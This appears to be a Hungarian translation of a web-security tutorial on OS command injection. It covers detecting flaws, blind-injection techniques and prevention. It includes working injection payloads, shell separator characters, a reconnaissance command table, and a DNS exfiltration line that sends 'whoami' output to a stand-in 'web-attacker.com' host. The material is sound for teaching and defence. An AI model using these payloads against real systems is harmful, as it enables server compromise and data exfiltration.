OS command injection

ebben a részben elmagyarázzuk, mi az OS command injection, leírjuk, hogyan lehet felismerni és kihasználni a sebezhetőségeket, ismertetünk néhány hasznos parancsot és technikát a különböző operációs rendszerekhez, és összefoglaljuk, hogyan lehet megakadályozni az OS parancs injection-t.

 OS parancs injekció

mi az OS parancs injekció?

az OS command injection (más néven shell injection) egy webes biztonsági rés, amely lehetővé teszi a támadó számára, hogy tetszőleges operációs rendszer (OS) parancsokat hajtson végre az alkalmazást futtató kiszolgálón, és általában teljesen veszélyeztesse az alkalmazást és az összes adatot. Nagyon gyakran a támadó kihasználhatja az operációs rendszer parancs-befecskendezési sebezhetőségét a tárhely-infrastruktúra más részeinek veszélyeztetésére, kihasználva a bizalmi kapcsolatokat, hogy a támadást a szervezet más rendszereire irányítsa.

tetszőleges parancsok végrehajtása

tekintsünk meg egy vásárlási alkalmazást, amely lehetővé teszi a felhasználó számára, hogy megnézze, van-e egy elem raktáron egy adott üzletben. Ez az információ olyan URL-en keresztül érhető el, mint:

https://insecure-website.com/stockStatus?productID=381&storeID=29

a készletinformációk megadásához az alkalmazásnak különféle régi rendszereket kell lekérdeznie. Történelmi okokból a funkcionalitás egy shell parancs meghívásával valósul meg, argumentumként a product and store ID-kkel:

stockreport.pl 381 29

ez a parancs kiadja a megadott elem készletállapotát, amelyet visszaad a felhasználónak.

mivel az alkalmazás nem hajt végre védelmet az operációs rendszer parancsának befecskendezése ellen, a támadó a következő bemenetet küldheti el egy tetszőleges parancs végrehajtásához:

& echo aiwefwlguh &

ha ez a bemenet a productID paraméterben van megadva, akkor az alkalmazás által végrehajtott parancs:

stockreport.pl & echo aiwefwlguh & 29

a echo parancs egyszerűen a mellékelt karakterláncot visszhangozza a kimeneten,és hasznos módszer az operációs rendszer bizonyos típusú parancsainak tesztelésére. A & karakter egy shell parancs elválasztó, így valójában három különálló parancs kerül végrehajtásra egymás után. Ennek eredményeként a felhasználónak visszaküldött kimenet:

Error - productID was not provided
aiwefwlguh
29: command not found

a három kimeneti sor azt mutatja, hogy:

  • az eredeti stockreport.pl parancs a várt argumentumok nélkül lett végrehajtva, ezért hibaüzenetet adott vissza.
  • az injektált echo parancs végrehajtásra került, és a mellékelt karakterlánc visszhangzott a kimeneten.
  • az eredeti 29 argumentum parancsként lett végrehajtva, ami hibát okozott.

a kiegészítő parancselválasztó & elhelyezése az injektált parancs után általában hasznos, mert elválasztja az injektált parancsot attól, ami az injektálási pontot követi. Ez csökkenti annak valószínűségét, hogy az alábbiak megakadályozzák az injektált parancs végrehajtását.

hasznos parancsok

ha azonosított egy operációs rendszer parancsbefecskendezési sebezhetőségét, általában hasznos néhány kezdeti parancs végrehajtása, hogy információkat szerezzen a veszélyeztetett rendszerről. Az alábbiakban összefoglaljuk azokat a parancsokat, amelyek hasznosak Linux és Windows platformokon:

a parancs célja Linux Windows
az aktuális felhasználó neve whoami whoami
operációs rendszer uname -a ver
hálózati konfiguráció ifconfig ipconfig /all
Hálózati kapcsolatok netstat -an netstat -an
futó folyamatok ps -ef tasklist

vak operációs rendszer parancsinjekció biztonsági rései

Az operációs rendszer parancsinjekciójának sok példánya vak sebezhetőség. Ez azt jelenti, hogy az alkalmazás nem adja vissza a parancs kimenetét a HTTP válaszán belül. A vak sebezhetőségeket továbbra is ki lehet használni, de különböző technikákra van szükség.

tekintsünk meg egy webhelyet, amely lehetővé teszi a felhasználók számára, hogy visszajelzést küldjenek a webhelyről. A felhasználó megadja az e-mail címét és a visszajelzési üzenetet. A kiszolgálóoldali alkalmazás ezután e-mailt generál a webhely rendszergazdájának, amely tartalmazza a visszajelzést. Ehhez felhívja a mail programot a benyújtott részletekkel. Például:

mail -s "This site is great" -aFrom:[email protected] [email protected]

a mail parancs kimenete (ha van ilyen) nem jelenik meg az alkalmazás válaszaiban, ezért a echo hasznos teher használata nem lenne hatékony. Ebben a helyzetben számos más technikát is használhat a biztonsági rés észlelésére és kihasználására.

vak operációs rendszer parancsinjekciójának észlelése időkésleltetések használatával

használhat egy injektált parancsot, amely késleltetést indít, lehetővé téve annak megerősítését, hogy a parancsot az alkalmazás válaszához szükséges idő alapján hajtották végre. A ping parancs hatékony módja ennek, mivel lehetővé teszi az elküldendő ICMP csomagok számának megadását, ezért a parancs futtatásához szükséges időt:

& ping -c 10 127.0.0.1 &

ez a parancs hatására az alkalmazás 10 másodpercig pingeli a visszacsatoló hálózati adaptert.

a vak operációs rendszer parancsinjekciójának kihasználása a kimenet átirányításával

átirányíthatja az injektált parancs kimenetét egy fájlba a webes gyökéren belül, amelyet a böngésző segítségével lekérhet. Például, ha az alkalmazás statikus erőforrásokat szolgál fel a /var/www/static fájlrendszer helyéről, akkor a következő bemenetet küldheti el:

& whoami > /var/www/static/whoami.txt &

a > karakter elküldi a whoami parancs kimenetét a megadott fájlba. Ezután a böngésző segítségével letöltheti a https://vulnerable-website.com/whoami.txt fájlt, és megtekintheti az injektált parancs kimenetét.

vak OS parancsinjekció kihasználása sávon kívüli (OAST) technikák alkalmazásával

használhat olyan injektált parancsot, amely sávon kívüli hálózati interakciót indít el az Ön által irányított rendszerrel, OAST technikák alkalmazásával. Például:

& nslookup kgji2ohoyw.web-attacker.com &

ez a hasznos teher a nslookup parancsot használja a megadott tartomány DNS-keresésének előidézésére. A támadó figyelemmel kísérheti a megadott keresés előfordulását, és ezáltal észlelheti, hogy a parancsot sikeresen injektálták.

az Out-of-band csatorna is egy egyszerű módja annak, hogy exfiltrate a kimenet injektált parancsok:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

ez DNS-keresést eredményez a támadó tartományában, amely a whoami parancs eredményét tartalmazza:

wwwuser.kgji2ohoyw.web-attacker.com

az OS parancsok befecskendezésének módjai

különféle shell metakarakterek használhatók az OS parancs injekciós támadásainak végrehajtására.

számos karakter parancselválasztóként működik, lehetővé téve a parancsok összekapcsolását. A következő parancselválasztók mind Windows, mind Unix alapú rendszereken működnek:

  • &
  • &&
  • |
  • ||

a következő parancselválasztók csak Unix-alapú rendszereken működnek:

  • ;
  • újsor (0x0a vagy \n)

Unix-alapú rendszereken is használhatja backticks vagy a dollár karakter az injektált parancs inline végrehajtásához az eredeti parancson belül:

  • ` befecskendezett parancs `
  • $( befecskendezett parancs )

vegye figyelembe, hogy a különböző shell metakarakterek finoman eltérő viselkedéssel rendelkeznek, ami befolyásolhatja, hogy bizonyos helyzetekben működnek-e, és lehetővé teszik-e a parancs kimenet sávon belüli visszakeresését, vagy csak vak kizsákmányoláshoz hasznosak.

néha az Ön által vezérelt bemenet idézőjelben jelenik meg az eredeti parancsban. Ebben a helyzetben meg kell szüntetnie az idézett kontextust (" vagy ' használatával), mielőtt megfelelő shell metakaraktereket használna egy új parancs beadására.

hogyan lehet megakadályozni az OS parancsinjekciós támadásokat

messze a leghatékonyabb módja annak, hogy megakadályozzák az OS parancsinjekciós sebezhetőségeket, hogy soha ne hívja ki az OS parancsokat az alkalmazásréteg kódjából. Gyakorlatilag minden esetben vannak alternatív módszerek a szükséges funkciók megvalósítására biztonságosabb platform API-k segítségével.

ha elkerülhetetlennek tartjuk az operációs rendszer parancsainak a felhasználó által megadott bemenettel történő hívását, akkor erős bemeneti érvényesítést kell végrehajtani. Néhány példa a hatékony érvényesítésre:

  • érvényesítése ellen engedélyezőlistán megengedett értékek.
  • annak ellenőrzése, hogy a bemenet egy szám.
  • annak ellenőrzése, hogy a bemenet csak alfanumerikus karaktereket tartalmaz, nincs más szintaxis vagy szóköz.

soha ne próbálja meg fertőtleníteni a bemenetet a shell metakarakterek elhagyásával. A gyakorlatban ez túlságosan hibára hajlamos és sebezhető ahhoz, hogy egy képzett támadó megkerülje.

You might also like

Vélemény, hozzászólás?

Az e-mail-címet nem tesszük közzé.